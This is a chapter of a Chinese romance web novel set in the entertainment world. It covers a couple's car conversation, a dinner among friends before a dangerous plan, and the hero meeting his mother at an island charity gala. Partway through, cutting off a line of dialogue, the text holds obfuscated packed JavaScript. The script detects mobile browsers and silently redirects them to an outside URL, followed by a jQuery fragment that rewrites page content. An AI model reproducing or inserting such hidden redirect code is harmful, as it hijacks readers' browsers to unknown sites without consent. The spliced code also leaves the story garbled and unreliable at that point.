129.好戏开场

作品:《野兽的法则【娱乐圈】

    所有人不得不承认,现在去外面实在是太容易受到攻击了。


    安全起见,裴妄让自己别墅的几个厨师在家里简单制作了些拿手佳肴,一行人驱车前往。


    “裴妄,”


    夏兮野坐在副驾上,把男人的右手牵过来,垂眸抚摸着他手背上疤痕的纹路:


    “其实一些你对我太好的时候,我也会觉得自己很不值当。”


    “怎么就忽然多愁伤感起来了?”


    “你管我?”


    “嗯……”


    裴妄感受到女人纤细微凉的指尖在自己的皮肤上游走,被伤疤断裂的知觉神经被她的触摸给重新连接起来,于是反手包裹着她的手,再手掌向上,十指相扣:


    “在感情里每个人都会自卑。”


    夏兮野歪头一笑:


    “我看出你在我面前的自卑了,可你为什么在我面前会自卑?”


    “为什么在你面前我不会自卑?”


    “你什么都好。”


    裴妄轻哄似的语气,路上的霓虹跃入他漆黑的瞳,仿佛在眼里含着些光:


    “你自身条件好,做什么都能成功,虽然有点悲观但积极向上,你靠自己从一无所有到名极一时,你有很强的自我意识,配得感强,正直不屈,有能力,有勇气。”


    夏兮野笑盈盈:


    “我还漂亮。”


    裴妄无奈,溺爱笑笑,手攥紧了她的手:


    “对,你还漂亮。”


    他重新把视线落到路面上:


    “而我能给你的,只有一些钱,和一点可有可无的小权力。”


    夜落星河,长成满街阑珊灯火,于你我窗外呼啸而过。


    “所以我怎么会不自卑?”


    夏兮野装作若有所思:


    “那爱呢?”


    “你说呢?”


    “有爱就很不错了。”


    “如果只有爱,那可一点都不行的。”


    “好吧,我知道了,”


    她也看向路面:


    “为什么感觉你在感情里面懂得比我多?你谈过几个?”


    “没谈过,但看过有人是如何相爱的。”


    “谁?”


    “我父母。”


    “这样啊。”


    玻璃染上路灯的热,一闪而过:


    “对了,我忘了问你,你是怎么找到我的?”


    “哪一次?”


    “嗯….”


    夏兮野回想了一下:“好像是有很多次了..”


    裴妄笑了笑:


    “我总会找到你的,这是命。”


    “在你母亲把我从大海里救上来以后,我就和你连在一起了。”


    —————————————————————————————————


    菜品精致,暖光照新。


    没有酒精,没有高油脂,没有让人昏醉迷惘或过分饱腹的东西,裴妄自己一个人住的别墅里第一次有如此明朗温馨的聚餐。


    和食物的香味夹杂在一起的,还有终于谈妥的计划。预设的可行性和补救方案记录在每个人的头脑和手机备忘录里,可大家心里都清楚,都只是纸上谈兵。


    敌人远比他们想的要来势汹汹、不择手段。


    与警方的围剿呼应,引狼入室,不疑有牺牲的风险。


    裴妄依旧少言。


    年轻的时候,从国外得空回家,父母为他安置了这栋房子。


    早年间,他不乏邀请自己身边的富家子弟狐朋狗友来这里彻夜狂欢。那时候他喜欢这种场合主导者的感觉,喜欢看朋友对自己阿谀奉承,喊着他的名字庆祝举杯,看女孩为自己争风吃醋,他只需要自得其乐地坐在沙发上,心如止水地看着同龄人为自己献上尊敬、欢呼和泪水。


    节奏感强的音乐萦绕别墅,他的快感会在矜贵的片叶不沾身之后达到顶峰。


    然后在觥筹交错、纸醉金迷之间,少言寡语地在心里想着夏兮野,那个在时代广场占了几层楼屏幕的大明星。


    食肉酒欢的日子不再。


    而现在夏兮野就在他身边。


    “我们一起拍张照吧?”


    脆生清亮的嗓音传进耳畔,是他美丽的爱人。


    林曼曼擦了擦吃水果的嘴:“我去不早说夏兮野,我都没化妆来的!”


    温向晚不语,只一味地掏出包包补妆,并递给她一支裸色口红。


    牧斯年指了指一楼阳台前:“就站那儿吧!”


    白想声设定了手机拍照的倒计时,一起站了过去。


    夏兮野站中间,温向晚和林曼曼站在她旁边。


    后面依次是白想声、李时、裴妄、苏臣、牧斯年。


    白想声和李时中间隔了些距离,似乎是想给某个人留的。


    白光一闪。


    咔嚓。


    咔嚓咔嚓。


    如流水一般的闪光灯,铺就晚霞下刺眼的银色河流。


    “晚夏丰收”慈善晚宴。


    主办方:令女集团。


    隐秘椰林里的奢华度假酒店,在南城银滩外的一处小岛上,受邀者需乘坐游艇登岛,再跟随专人指引,出示邀请函,进入晚宴。


    绒毛红毯一直从下船的沙滩铺到酒店花园大门,四周泳池波光环绕,簇拥着数以千万计的夏花,还有缤纷的热带植物、熟透的夏季果实,承接了红毯未抵达之处,喧闹升腾。


    “妈。”


    “诶,小妄,你就来了啊。”


    谢龄安作为令女的负责人,自然得出席,尽管多年来她与丈夫一直与暗地里的“猎”争夺令女的各部分权力,并且不少与“猎”有合作的股东每每在压制限制她,但还是得撑起这表面的繁荣。


    “嗯,第一次来,谢董事长多担待。”


    裴妄拒绝了一旁侍者递来的香槟,欠欠地在母亲面前装了一下。


    ”啧啧,’仲夏‘的高定款啊,你什么时候也变成花孔雀了?”


    “花孔雀?”


    这个词裴妄可不太喜欢,他低头看了眼自己的西装,外套是落肩阔裁的松弛廓形,搭着简单的暗绿色衬衫,掐着他的腰线,高腰的黑长裤把他的腿衬得更加修长。


    金色的环扣垂落,给他沉稳的性子上添了几分风流。


    “就比平常穿的颜色多了点而已,怎么就花孔雀了?”


    谢龄安当然看得清他的心思,也不戳破,换了个话题:


    “女伴呢?”


    “她待会要走红毯,我在这儿等她。”


    “那你怎么不和她一起走?”


    谢龄安也不是个严肃的款式,和儿子走到无人处,调侃:


    “你不是绯闻男友么?”


    “妈…你这…”


    “你最好快点,”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291744|182567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她瞪了一眼:


    “你爸生前就想介绍你俩认识,谁成想你转头就回美国了,后来闹出那档子事,只得将计就计,搞得你妈我成小丑了。”


    “您就一点都不怪她?”


    “谁?你爸?”


    “夏兮野。”


    “可怜孩子我怪她干什么?”


    谢龄安看见了远处一个熟识的投资商,轻轻摆手打了个招呼,回头瞥了儿子一眼,拍了拍他手,示意自己要去social了。


    “妈,”


    裴妄喊住她,理了理自己的领带,较深的孔雀绿,上面的金丝线在灯光下闪闪发光:


    “我今天看起来怎么样?”


    谢龄安回头看,脚步停了几秒。


    这张带着几分与死去的丈夫相似模样的脸,如今也成熟可靠,意气风发。


    “我儿子肯定是最帅的。”


    “去吧。”


    去像你父亲一样,接回自己心爱的人。


    楼下的光影开始沸腾,伴随着尖叫与喧嚣,裴妄松开整理领带的手,走到窗边,往下看去。


    侍者再次送来香槟托盘,他没再拒绝,拿了一杯,却没有喝下去。


    他的眼睛紧紧盯着远处的海滩,游轮上开始有穿着精致的明星往下走,那条被闪光灯染满璀璨的红毯,在他的注视下期待着某个人的到来。


    会场灯光大开,海风迭起吹来,浪漫的旋律缓缓而出,节奏轻快起来。


    花卉丛中,冷暖光照在忽然出现的一组当红乐队身上,海水浇湿键盘和贝斯的琴弦,仿佛奏响了一整夜的鲜花与伏特加。


    华灯初上,游艇来往,络绎不绝。


    堆满果实与酒杯的大型募捐箱前,写着“女性之梦,夏夜丰收”的八个大字。


    “这是一场由‘令女’集团组织的慈善晚宴,邀请了各界慈善爱心人士。‘令女’集团从创办初期开始就致力于女性慈善事业,她们为乳腺癌患者募捐医疗费用、资助乡村女童学业、帮助被家暴妇女走出困境。”


    “而今日的‘丰收’慈善晚宴,则是为有梦想的女性筹集善款,为其实现梦想而助力……”


    挤破头来到现场的记者一个个像是打了鸡血似的,在闪烁不停的闪光灯前,对着镜头快速地播报着:


    “不少有爱心的明星朋友们也来到了这里,快看,现在从游艇上走下来的是林清雾…”


    林清雾刚一脚踏上铺在沙滩上的红毯上,就被团团围住。


    “你好清雾,请问你在今晚的慈善拍卖会上有什么目标吗?”


    “你作为一位闪闪发光的女性,想对正在努力追逐梦想的女性同胞们说些什么吗?”


    女人只得一边走一边客套地笑笑:


    “能拍卖到什么不重要,重要的是能帮助到女孩们实现梦想。”


    “嗯…我想对大家说,在追梦的路上,学会明辨是非,保护好自己。”


    “谢谢。”


    下一个明星走了下来,记者们又围了上去,林清雾松了口气。


    裴妄百无聊赖地喝了口香槟,等待的焦灼让他无法移开目光。


    一旁的长桌上,工作人员包装着不同种类规格的花束,地上的花材铺了一地,郁金香、鸢尾、绣球、铃兰、玫瑰、芍药,数不清的配草,还有蔷薇,为一部分的活动做着准备。


    他眸一闪,走了过去。